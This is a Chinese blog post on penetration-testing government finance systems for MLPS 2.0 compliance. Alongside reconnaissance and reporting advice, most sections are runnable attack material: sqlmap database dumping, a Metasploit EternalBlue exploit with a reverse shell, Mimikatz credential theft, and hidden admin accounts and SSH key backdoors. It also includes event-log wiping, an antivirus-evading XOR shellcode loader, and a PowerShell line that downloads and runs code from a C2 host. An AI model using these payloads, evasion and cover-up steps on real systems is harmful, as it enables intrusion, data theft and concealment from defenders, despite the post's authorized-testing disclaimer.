当前位置: 首页 > news >正文

安全测试与渗透测试 Skill 实战:从信息收集到等保合规

安全测试与渗透测试 Skill 实战:从信息收集到等保合规

作者:浅木·先生
日期:2026年6月16日


一、开篇:为什么财政系统需要真刀真枪的渗透测试?

在等保2.0时代,财政系统作为国家关键信息基础设施,承载着预算管理、国库支付、非税收入、政府采购等核心业务,一旦出现安全事件,轻则数据泄露,重则影响国计民生。2025年等保2.0迎来重大升级——取消百分制,改为"符合、基本符合、不符合"三级判定,同时引入重大风险隐患概念。这意味着,漏洞不再是"扣分项"而是"一票否决项"。

我曾参与多个省市级财政系统的安全测评项目,一个深刻的体会是:光靠漏洞扫描器远远不够,真正的安全能力来自于系统化的渗透测试 Skill 实战。本文以 SecSkills 实战框架为蓝本,结合作者在财政系统一线的踩坑经验,从信息收集到等保合规落地,逐层拆解安全测试的全流程。


二、信息收集:渗透测试的"地基之战"

渗透测试的本质是信息收集。久攻不下的系统,往往不是能力不够,而是信息收集不够。

2.1 被动信息收集(OSINT)

在财政系统中,很多敏感信息不经意外泄。常见的手段包括:

# Google Hacking 查找财政系统敏感文件site:gov.cn filetype:xls 预算 支付 site:gov.cn intitle:"财政"inurl:login site:github.com"财政局"password# Whois 查询目标域名注册信息whois czj.xxx.gov.cn# 子域名收集(Layer / Subfinder)subfinder-dczj.xxx.gov.cn-all-osubdomains.txt

除了搜索引擎,Fofa、Hunter、Shodan 等网络空间搜索引擎是财政系统资产测绘的利器。下面是我在实战中常用的查询语法:

# Fofa 搜索财政系统title="财政"&&body="login"&&country="CN"body="GRP-U8"||body="用友政务"# Hunter 搜索财政预算系统web.title="预算管理"&&web.body="财政局"&&status_code="200"# Shodan 搜索暴露的远程桌面port:3389 org:"Finance Bureau"country:CN

踩坑经验1:某次在市级财政系统的信息收集阶段,通过 GitHub 代码搜索发现开发人员将application-dev.yml上传到了公开仓库,内含数据库连接串和 Redis 密码。如法炮制,又在 GitLab 上发现了多份财政系统的运维手册和 SQL 备份文件。这是一个典型的"供应链信息泄露",在等保测评中属于高危风险项,直接影响"安全开发"和"供应链管理"两个控制点的评分。建议在测试方案中纳入 GitHub/GitLab 敏感信息泄露检测作为专项测试项。

2.2 主动信息收集(资产测绘)

# Nmap 全端口+服务版本+OS 检测+NSE 漏洞脚本nmap-sS-sV-O-p1-65535-T4--script=vuln,http-enum,ssl-enum-ciphers-oAfiscal_scan10.88.xx.0/24# 目录爆破(财政系统常见敏感路径)dirsearch-uhttps://czj-web.xxx.gov.cn-ephp,asp,aspx,jsp-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt# 指纹识别(识别中间件和 CMS)whatweb https://czj-web.xxx.gov.cn wappalyzer# 浏览器插件

财政系统常见指纹特征:

  • 用友政务 GRP-U8 / A++(财政核心业务系统)
  • 太极华青预算管理系统
  • 龙图财政一体化平台
  • 金财工程相关中间件(WebLogic、东方通 TAS)

踩坑经验2:某财政系统使用东方通 TAS 作为中间件,默认端口为9060(管理控制台)。Nmap 全端口扫描时如不指定-p-参数(默认只扫 1000 个常见端口),极容易漏掉此端口。而该管理控制台存在默认口令thanos/thanos123的普遍问题。教训:财政系统渗透测试必须做全端口扫描,确保不遗漏管理端口。


三、漏洞发现:从自动扫描到手工深挖

3.1 自动化漏洞扫描

# Nuclei 快速扫描(基于模版的漏洞验证)nuclei-llive_hosts.txt-t~/nuclei-templates/-severitycritical,high,medium-onuclei_results.txt# Xray 被动扫描(结合 BurpSuite 流量)xray webscan--listen127.0.0.1:7777 --html-output xray_report.html# BurpSuite 设置上游代理到 127.0.0.1:7777# Nikto Web 扫描nikto-hhttps://czj-web.xxx.gov.cn-ssl-Formathtml-onikto_report.html

3.2 财政系统高频漏洞类型

以财政系统为靶标,以下漏洞几乎年年必出:

漏洞类型典型场景等保关联控制点
SQL注入预算查询接口、报表导出功能安全计算环境-数据保密性
未授权访问GRP-U8 接口未鉴权安全区域边界-访问控制
任意文件下载附件下载参数未校验安全计算环境-入侵防范
越权(水平/垂直)不同财政科室间的预算数据互访安全计算环境-访问控制
弱口令运维后台 admin/123456安全计算环境-身份鉴别
敏感信息泄露Swagger-API 文档未关闭安全建设管理-测试验收

深度分析:财政系统之所以常年存在这些漏洞,核心原因有三:

  1. 系统建设周期长:很多财政系统从"金财工程"时代(2002年启动)就开始建设,代码基龄超过20年,早期的安全设计缺失
  2. 外包开发普遍:财政信息化项目大量依赖第三方厂商(用友、太极华青等),安全代码规范执行不严
  3. 测试环境与生产脱节:我见过不止一个财政项目,测试环境的 Swagger、Druid 监控、Actuator 接口全部开放,上线时只改了数据库连接串,监控接口全部遗留到了生产环境

踩坑经验3:某财政一体化平台的预算编制功能中,POST 参数budgetYear=2026改为budgetYear=2025' OR '1'='1即爆出全部历史预算数据。该接口使用了 MyBatis 的${}拼接而非#{}预编译,属于典型的开发者安全意识不足。在等保 2.0 2025 版标准中,这种情况可能触发「重大风险隐患」判定,导致整体测评结论降级。

3.3 手工漏洞验证——BurpSuite 实战

自动化扫描只能覆盖已知漏洞,手工深挖才是发现 0day 和逻辑漏洞的关键。

# BurpSuite Intruder 爆破弱口令(财政系统常见默认密码)# Payload 字典:admin/admin123, grp/grp123, fiscal/fiscal@2026, ufida/ufida123# Repeater 手工测试越权# 将 Cookie 中的 sessionID 替换为其他用户的 session(垂直越权)# 修改 URL 中的 deptId=1001 为 deptId=1002(水平越权)# 绕过前端 JS 校验# 财政报表系统经常在前端做金额校验,修改 POST 请求的 amount 为负数# 测试"负采购"逻辑——某财政支付系统曾因此被刷走 200 万

实战技巧:测试财政系统的逻辑漏洞时,务必关注"审批流绕过"。很多财政系统的预算审批分为"经办→审核→批准"三级,通过直接调用后端接口跳过中间环节,可以实现越权审批。这种漏洞在自动化工具中几乎不可能被发现。

3.4 SQLMap 实战

# 自动检测并注入sqlmap-u"https://czj-web.xxx.gov.cn/api/budget?deptId=1001"--cookie="JSESSIONID=xxx"--batch--level=3--risk=2# 获取数据库信息sqlmap-u"..."--dbssqlmap-u"..."-Dfiscal_db--tablessqlmap-u"..."-Dfiscal_db-Tt_user--dump# 绕过 WAF 技巧sqlmap-u"..."--tamper=space2comment,between,randomcase --random-agent

四、漏洞利用与后渗透:从 WebShell 到域控

4.1 获取初始权限

# Metasploit 利用 SMB 漏洞(财政系统内网 Windows 服务器常见)msf6>use exploit/windows/smb/ms17_010_eternalblue msf6>setRHOSTS10.88.xx.50 msf6>setPAYLOAD windows/x64/meterpreter/reverse_tcp msf6>setLHOST10.88.xx.100 msf6>setLPORT4444msf6>exploit# 获取 WebShell(文件上传漏洞)# 上传冰蝎/哥斯拉马msfvenom-pjava/jsp_shell_reverse_tcpLHOST=10.88.xx.100LPORT=4444-fraw>shell.jsp# 然后用 BurpSuite 上传

4.2 内网横向移动

# Meterpreter 后渗透meterpreter>sysinfo meterpreter>getuid meterpreter>run post/windows/gather/enum_domain# 抓取凭证(Mimikatz)meterpreter>load kiwi meterpreter>creds_all# 横向移动(PsExec)msf6>use exploit/windows/smb/psexec msf6>setRHOSTS10.88.xx.51 msf6>setSMBUser fiscal_admin msf6>setSMBPass hashed_password_here msf6>exploit# BloodHound 域环境分析(导出信息后在本地分析)cmd>bloodhound-python-dfiscal.local-uuser-ppass-ns10.88.xx.10-call

踩坑经验4:某次财政内网渗透中,通过 Web 服务器获取了初始权限,但服务器上安装了360 杀毒,反弹 Shell 五分钟内即被查杀。解决方案:使用免杀处理——通过msfvenom --encoder x64/zutto_dekiru进行编码,或者使用 Cobalt Strike 的 Artifact Kit 自定义生成 payload。在财政系统这类高安全等级环境中,免杀不是可选项,而是必选项。

4.3 典型攻击链复盘:从财政外网到内网域控

为了帮助读者建立完整的攻击链思维,这里还原一次真实的财政系统渗透路径:

外网信息收集 → 发现财政信息公示网站子域名 ↓ 目录扫描发现 /api/swagger-ui.html(Swagger 接口文档泄露) ↓ 通过 Swagger 发现 /api/payment/export 接口存在 SQL 注入 ↓ SQLMap 获取数据库 SA 权限 → xp_cmdshell 执行系统命令 ↓ 获取 Web 服务器 SYSTEM 权限 → 转储管理员凭证 ↓ 内网横向扫描 → 发现预算管理系统服务器(Windows Server 2012 R2) ↓ MS17-010 永恒之蓝漏洞利用 → 获取第二台服务器权限 ↓ Mimikatz 抓取域管理员凭证 → PsExec 登录域控 ↓ 控制整个财政域环境 → 导出所有财政数据和用户哈希

这条攻击链中的每一个环节都对应了等保 2.0 的一个或多个控制点:Swagger 泄露(安全开发-测试验收)→ SQL 注入(安全计算环境-入侵防范)→ 弱凭证(安全计算环境-身份鉴别)→ 永恒之蓝(安全区域边界-入侵防范)→ 域渗透(安全管理中心-集中管控)。这就是为什么渗透测试不能只看单点漏洞,而要评估整条攻击链的可达性与影响范围。

4.4 权限维持与痕迹清理

# 创建隐藏账户(Windows)net user fiscal_backup$ P@ssw0rd123!/add net localgroup administrators fiscal_backup$ /add# SSH 后门(Linux 财政前置机)echo" PermitRootLogin yes">>/etc/ssh/sshd_configecho'ssh-rsa AAAAB3NzaC1yc2E...'>>~/.ssh/authorized_keys# 清理日志wevtutil cl system wevtutil cl security wevtutil cl application

五、免杀实战:与杀软的猫鼠游戏

财政系统的服务器普遍部署了主机安全防护软件(360、深信服 EDR、火绒等),不做免杀的 payload 基本活不过三分钟。以下是实战中验证有效的免杀策略:

5.1 Shellcode 加载器分离免杀

// C++ Shellcode 加载器(VT 查杀率 3/70)#include<windows.h>#include<stdio.h>unsignedcharshellcode[]="\xfc\x48\x83\xe4\xf0\xe8...";// XOR 加密后的 shellcodeintmain(){// 解密 XORcharkey='X';for(inti=0;i<sizeof(shellcode);i++){shellcode[i]^=key;}void*exec=VirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(exec,shellcode,sizeof(shellcode));((void(*)())exec)();return0;}

5.2 PowerShell 内存加载

# 从远程服务器加载并内存执行(绕过文件扫描)powershell-nop-w hidden-c"IEX (New-Object Net.WebClient).DownloadString('http://your-c2-server/ps.ps1')"

5.3 混淆编码技巧

# Base64 多重编码msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=x.x.x.xLPORT=4444-fbase64# 使用 Veil 框架生成免杀 payloadveil Veil>use1# EvasionVeil>use13# Powershell

踩坑经验5:不要迷信某一种免杀方案。上周能过的方案,这周杀软更新病毒库后可能就废了。建议准备 3-4 种不同免杀思路(分离加载器、白名单 Dll 劫持、vba 宏、powershell 混淆),在实战中轮换使用。


六、报告交付与等保合规落地

渗透测试的最终价值体现在报告。财政系统的等保测评渗透测试报告需要面向三类读者:

6.1 报告核心结构

1. 执行摘要(给局领导看) - 一句话结论:系统整体安全风险等级 - 高危漏洞 TOP 3 - 是否符合等保三级要求 2. 漏洞详情(给技术科看) - 漏洞名称/位置/危害等级 - 复现步骤(含截图、请求包) - CVSS 3.1 评分 - 修复建议(具体到配置命令) 3. 合规对照(给测评机构看) - GB/T 22239-2019 对应控制点 - 整改前后对比

6.2 等保 2.0 与渗透测试的衔接点

根据 GB/T 22239-2019(三级系统),以下控制点与渗透测试强相关:

等保控制点渗透测试验证项常见不符合项
身份鉴别弱口令、默认口令测试GRP-U8 admin/123456
访问控制越权、未授权访问数据权限未按科室隔离
入侵防范SQL注入、文件上传预算查询接口未参数化
数据保密性敏感数据传输明文财政报表 HTTP 明文传输
安全审计日志记录完整性未记录操作人 IP 和时间
剩余信息保护敏感信息泄露Swagger 文档未关闭

6.3 2025 版等保新规特别提醒

2025 年等保新标准明确要求:

  1. 渗透测试报告必须标注 APT 攻击检测点,验证横向移动阻断和数据外传监控能力
  2. 重大风险隐患判定:即使符合率超过 90%,若存在 SQL 注入等高危漏洞,仍判定为"基本符合"
  3. 财政三级系统每年必须复测,且保护工作方案需在每年 12 月 31 日前提交属地公安机关

七、结语

安全测试没有"银弹"。从信息收集到免杀实战,从漏洞利用到等保合规,每一个环节都可能决定一次渗透测试的成败。对我而言,财政系统的安全测试更有一种特殊的责任感——每一行代码的安全,关联的是国家财政资金的安全。

最后送给大家一句话:“Attack is the best defense, but compliance is the baseline.”攻击思维让我们找到漏洞,合规意识让我们守住底线。


本文由浅木·先生原创撰写,基于 SecSkills 实战框架与等保 2.0 标准。文中命令仅供授权测试使用,未经授权对目标系统进行渗透测试可能违反《网络安全法》第二十七条。

http://www.cnnetsun.cn/news/3029347.html

相关文章:

  • 申报绿色工厂,能碳管理平台系统能帮企业搞定哪些事?
  • 如何让Mac用户告别NTFS只读烦恼?这款开源工具给你完美解决方案
  • 【限时开放】IDEA单元测试黄金配置包(含Live Template+Inspection Profile+CI预检脚本):仅限前500名下载,24小时后撤回
  • 单节锂电供电设备降压芯片选型:输入5.5V/输出3A/小封装方案参考
  • 为什么要用 OpenCode Go?低成本的 GLM-5.2 等热门模型体验方案
  • AI Agent时代,老板最大的对手不是AI,是自己
  • 被日麻虐到想放弃,直到遇到清心日麻教练
  • 终极免费方案:如何在Mac上完美读写Windows NTFS硬盘
  • Windows苹果驱动一键安装终极指南:告别iTunes臃肿体验
  • 从新手到IDEA专家:Live Templates的3层能力模型与7天速成路径图
  • Java程序员转型AI大模型工程师:四步走,轻松掌握大模型开发,收藏必备!
  • 离线 Python 环境部署流程文档
  • 43. 怎么在Title Block中添加公司logo?I Cadence Allegro 电子设计 快问快答
  • 《编译原理》全套PPT课件(华科)
  • AI风口来袭!小白程序员如何抓住高薪机遇?速收藏!
  • KMS_VL_ALL_AIO:企业级Windows与Office智能激活解决方案全解析
  • B站视频下载终极指南:免费获取大会员4K高清和充电专属视频
  • AKShare:5分钟掌握Python金融数据采集的终极指南
  • Navicat Premium macOS无限试用重置技术深度解析
  • 安全触边能防水防尘且适应恶劣环境吗
  • XAPK转APK终极指南:1分钟解决Android应用安装兼容性问题
  • 高并发下的AI API调用实战:日均百万级Token批处理架构方案
  • 2026工业净化技术升级路径
  • Github Copilot 新手极速上手指南
  • 安全联锁开关 > 安全门锁 > D3SL-M 电磁锁定安全门开关
  • ComfyUI-Impact-Pack V8:从AI绘画新手到专家的图像增强完整指南
  • 粉笔公考课程真实测评与口碑分析
  • 收藏!2026 最新版|30+、35 岁转行大模型 AI 真的太晚?看完打破中年程序员年龄焦虑
  • 搞懂大模型研发全流程|终于懂了为啥模型效果天差地别
  • 【Spring Boot项目创建黄金标准】:基于IntelliJ IDEA 2024.1实测验证的4类模板选型决策树(含官方脚手架VS Spring Initializr性能对比数据)